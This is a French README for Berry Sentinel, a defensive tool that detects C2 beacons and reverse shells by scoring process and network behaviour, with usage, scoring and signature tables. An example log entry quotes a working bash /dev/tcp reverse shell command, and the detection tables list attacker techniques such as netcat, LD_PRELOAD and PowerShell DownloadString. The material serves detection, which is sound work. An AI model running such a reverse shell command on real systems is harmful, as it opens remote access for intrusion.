
Berry Sentinel v5.0 — Détecteur comportemental avancé de C2 et de reverse shells pour les systèmes Linux/Windows/Unix. Propose une analyse des connexions en temps réel, un scoring heuristique, une détection de signatures de frameworks C2, une analyse des intervalles de beacon et une TUI interactive basée sur curses avec moteur de terminaison de processus.
Détecteur comportemental de connexions C2 (Command & Control) en temps réel
Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine
Berry Sentinel surveille toutes les connexions réseau actives sur votre système et analyse le comportement des processus qui les génèrent pour détecter une activité malveillante — sans utiliser de bases de signatures antivirus ni de listes d'IP bloquées.
Il détecte les reverse shells, webshells, RATs, beacons C2 et frameworks comme Meterpreter, Cobalt Strike, Sliver ou Empire en observant comment se comporte un processus : si un interpréteur Python a son stdin connecté à un socket distant, cela est suspect même si l'IP est inconnue.
╔══════════════════════════════════════════════════════════════════════════════════╗
║ BERRY SENTINEL v5.0 — Détecteur Comportemental C2 · TUI Interactif ║
║ Connexions : 38 │ Menaces : 2 │ Signatures : 1 │ via proc/open+ss │ 12ms │ #47 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID SEV PTS PID PROC DISTANT ÉTAT SIGNATURES/TAGS ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ 3 █CRITIQUE 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║
║ 7 ▲HAUT 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║
╚══════════════════════════════════════════════════════════════════════════════════╝
psutil optionnel pour une couverture supplémentaire# Cloner le dépôt
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel
# (Optionnel mais recommandé) installer psutil
pip install psutil
# Exécuter
python3 BerrySentinel.py
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui # curses peut ne pas être disponible sur Termux
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py
python3 BerrySentinel.py [options]
Options :
--all, -a Inclure les connexions locales/loopback (en plus des distantes)
--interval N, -i N Rafraîchir toutes les N secondes (défaut : 2, min : 0.5)
--log FILE, -l FILE Enregistrer les alertes dans un fichier (format JSONL)
--json, -j Exporter le JSON complet à la sortie
--whitelist LISTE IP ou CIDR à ignorer, séparés par des virgules
--no-color Sans couleurs ANSI (utile pour les pipes ou logs)
--verbose, -v Afficher toutes les connexions, pas seulement les suspectes
--top N, -t N Maximum de lignes dans le tableau (défaut : 50)
--diag, -d Diagnostic : affiche quelles méthodes de collecte fonctionnent
--no-tui Mode legacy sans curses (défilement classique, plus portable)
--version, -V Afficher la version et quitter
# TUI interactif — mode recommandé
python3 BerrySentinel.py
# Deep scan avec root (accède à la mémoire des processus)
sudo python3 BerrySentinel.py --all
# Enregistrer les alertes et exporter JSON à la fin
python3 BerrySentinel.py --log /var/log/sentinel.log --json
# Ignorer le réseau interne et rafraîchir toutes les 5 secondes
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
# Mode texte pour utilisation dans des scripts ou via SSH sans terminal interactif
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
# Voir quelles méthodes de collecte fonctionnent sur le système actuel
python3 BerrySentinel.py --diag --no-tui
# Alertes graves uniquement, mise à jour toutes les 10 secondes, enregistrer le log
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
Chaque connexion reçoit un score de 0 à 100 selon les indicateurs détectés :
Sévérité selon le score :
Berry Sentinel inclut des signatures pour les frameworks suivants (évaluation par ports, nom de processus, ligne de commande et patterns de beacon) :
Chaque alerte est enregistrée comme une ligne JSON indépendante :
{
"ts": "2025-07-15T14:23:01.123456",
"id": 42,
"sev": "CRITIQUE",
"score": 85.0,
"pid": 1337,
"name": "bash",
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"remote": "1.2.3.4:4444",
"local": "192.168.1.10:52341",
"state": "ESTABLISHED",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
"sigs": ["Meterpreter"],
"src": "proc/open(self)+ss+netstat"
}
Traiter avec jq :
# Filtrer uniquement les connexions critiques
jq 'select(.sev == "CRITIQUE")' sentinel.log
# Voir tous les PIDs suspects
jq '[.pid] | unique' sentinel_export.json
# Rechercher par signature spécifique
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log
BerrySentinel.py
├── Constantes globales
│ ├── SHELL_BINS, SCRIPT_ENGINES — Noms de shells et interpréteurs
│ ├── C2_SUSPECT_PORTS — Ports typiques de C2
│ ├── PRIVATE_NETS — Plages IP privées
│ └── C2_SIGNATURES — Signatures de frameworks connus
│
├── Modèles de données
│ ├── C2Signature — Définition de signature C2
│ ├── ProcInfo — Info de processus OS
│ ├── Conn — Connexion réseau + résultat d'analyse
│ └── BeaconTracker — Détecteur de beacons C2
│
├── Collecte de données
│ ├── Collector — Orchestre plusieurs sources réseau
│ ├── parse_proc_net_content() — Analyseur /proc/net/*
│ ├── build_inode_pid_map() — Carte inode→PID
│ ├── get_proc_info() — Info processus via /proc
│ └── get_proc_info_psutil() — Info processus via psutil
│
├── Analyse
│ ├── Engine.analyze() — Score + tags comportementaux
│ ├── Engine._beacon() — Détection de beacons
│ └── match_signatures() — Correspondance de signatures C2
│
├── Sortie
│ ├── CursesTUI — TUI interactif (mode par défaut)
│ ├── LegacyTUI — Sortie ANSI sans curses (fallback)
│ └── Logger — Log JSONL sur disque
│
└── Sentinel — Orchestrateur principal
psutil — optionnel mais fortement recommandé (pip install psutil)Sans dépendances supplémentaires, l'outil fonctionne avec la stdlib de Python. psutil ajoute une couverture sur macOS et Windows où /proc n'existe pas.
from BerrySentinel import C2Signature, C2_SIGNATURES
mon_rat = C2Signature(
name="MonRAT",
description="RAT interne corporatif non autorisé",
score_bonus=70,
checks=[
{"type": "port", "value": 6543},
{"type": "cmdline", "value": r"mon_rat\.py|rat_agent"},
{"type": "procname", "value": r"^mon_rat$"},
],
)
C2_SIGNATURES.append(mon_rat)
import argparse
from BerrySentinel import Sentinel, Sev
args = argparse.Namespace(
all=True, interval=10, log=None, json=False,
whitelist="192.168.0.0/16", no_color=True,
verbose=False, top=100, diag=False, no_tui=True
)
s = Sentinel(args)
s._cycle_data()
for conn in s.last_conns:
if conn.severity >= Sev.HIGH:
proc = conn.proc
print(f"[ALERTE] PID {conn.pid} ({proc.name if proc else '?'}) "
f"→ {conn.remote_addr}:{conn.remote_port} "
f"score={conn.score:.0f} tags={conn.tags}")
from BerrySentinel import Engine, Conn, Sev
class MonEngine(Engine):
KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}
def analyze(self, c: Conn) -> Conn:
c = super().analyze(c)
# Ajouter sa propre logique
if c.remote_addr in self.KNOWN_C2_IPS:
c.score = min(c.score + 40, 100)
c.tags.append("KNOWN-IOC-IP")
c.severity = Sev.CRITICAL
return c
Berry Sentinel est conçu pour surveiller votre propre système ou des systèmes sur lesquels vous avez une autorisation explicite. Le Kill Engine n'agit que lorsque l'utilisateur le demande explicitement. Utilisez-le de manière responsable et conformément aux lois applicables dans votre juridiction.
MIT — voir LICENSE
| Touche | Action |
|---|
↑ / ↓ | Naviguer entre les connexions |
d / D | Afficher le panneau de détails de la connexion sélectionnée |
k / K | Tuer le processus (demande confirmation du PID) |
f / F | Parcourir le filtre de sévérité : TOUT → MOYEN → HAUT → CRITIQUE |
r | Forcer un rafraîchissement immédiat |
ESC | Fermer le panneau de détails ou annuler l'opération |
q | Quitter |
| Indicateur | Points | Tag |
|---|
| stdin/stdout → socket | +55 | FD→SOCK |
| Shell binaire avec connexion distante | +40 | SHELL→NET |
| Webshell (shell comme fils d'Apache/Nginx) | +35 | WEBSHELL |
| Bind shell sur port élevé | +35 | BIND-SHELL |
| Utilisation de netcat/socat | +35 | NETCAT |
Redirection /dev/tcp ou mkfifo | +40 | PIPE-REDIR |
| Exécutable supprimé du disque | +25 | EXE-DEL! |
Exécutable dans /tmp ou /dev/shm | +15 | EXE-TMP |
| Beacon détecté (connexion cyclique) | +25×conf | BCN(60s) |
| Signature Meterpreter | +55 | SIG:Meterpreter |
| Signature Cobalt Strike | +60 | SIG:CobaltStrike |
| Signature Sliver | +58 | SIG:Sliver |
| Régions mémoire RWX | +20 | RWX(N) |
| LD_PRELOAD ou HISTFILE=/dev/null | +10 | ENV:LD_PRELOAD |
| Interpréteur de scripts connecté | +25 | INTERP→NET |
| eval/exec en ligne de commande | +18 | EVAL |
| PowerShell distant (IEX, DownloadString) | +30 | PS-REM |
| Score | Sévérité | Couleur |
|---|
| ≥ 65 | CRITIQUE | 🔴 Rouge vif |
| ≥ 45 | HAUT | 🟠 Orange |
| ≥ 25 | MOYEN | 🟡 Jaune |
| ≥ 8 | BAS | 🔵 Cyan |
| < 8 | INFO | ⚪ Gris |
| Framework | Score bonus | Indicateurs clés |
|---|
| Meterpreter | +55 | Port 4444, processus ruby/msfconsole |
| Cobalt Strike | +60 | Port 50050, beacon ~60s, processus java |
| Sliver | +58 | Port 31337/8888, beacon ~60s |
| Empire | +55 | Port 1234/7777, PowerShell -enc |
| Brute Ratel | +62 | Port 2083, processus badger |
| Havoc | +58 | Port 40056, demon.x64/x86 |
| Pupy RAT | +52 | Port 9999, pupy.py |
| Merlin | +54 | Port 8443, merlin-agent |
| Covenant | +54 | Port 7443, GruntHTTP |
| PoshC2 | +52 | FComServer, ImplantCore |
| Mythic | +56 | Port 7443, poseidon/apfell |
| QuasarRAT | +50 | Ports 4782-4785 |
| NetcatShell | +45 | socat exec bash, pty |
| DNS-C2 | +40 | Port 53, dnscat/iodine |
| Système | Support | Notes |
|---|
| Linux | ✅ Complet | Avec root active le deep scan |
| Android/Termux | ✅ Complet | Utiliser --no-tui si curses échoue |
| macOS | ⚠️ Partiel | Pas de /proc ; utilise netstat+psutil |
| Windows | ⚠️ Partiel | netstat+psutil, pas d'analyse mémoire |